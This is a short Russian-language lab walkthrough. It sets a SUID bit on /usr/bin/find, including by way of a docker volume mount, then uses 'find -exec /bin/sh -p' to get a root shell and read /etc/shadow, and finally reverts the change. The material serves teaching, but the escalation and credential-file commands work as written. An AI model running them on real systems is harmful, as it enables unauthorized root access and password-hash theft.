Загрузка данных


1. Выставить уязвимость (роль «админа») — я делал через docker-группу, потому что sudo у меня неинтерактивный; ты можешь штатно:
sudo chmod u+s /usr/bin/find        # твой путь
docker run --rm --entrypoint /bin/sh -v /usr/bin/find:/target vulnerables/web-dvwa -c 'chmod u+s /target'   # мой путь
ls -l /usr/bin/find                 # должно быть -rwsr-xr-x (s вместо x!)
2. Эксплуатация с обычного пользователя — без единого пароля:
find . -exec /bin/sh -p \; -quit    # интерактивный shell; внутри набери: id
echo 'id' | find . -exec /bin/sh -p \; -quit          # то же одной строкой
find . -exec /bin/bash -p -c 'head -1 /etc/shadow' \; -quit   # пруф: читаем то, что обычному пользователю нельзя
Ключевое: -p у shell обязателен — без него оболочка сбросит euid обратно на 1000. В id смотри именно на euid=0(root) — реальный uid останется твоим, это нормально и как раз фишка SUID (в уроке это есть).
3. Обязательно сними бит после демонстрации:
sudo chmod u-s /usr/bin/find
ls -l /usr/bin/find                 # снова -rwxr-xr-x
echo 'id' | find . -exec /bin/sh -p \; -quit   # теперь euid остаётся 1000 — фокус не работает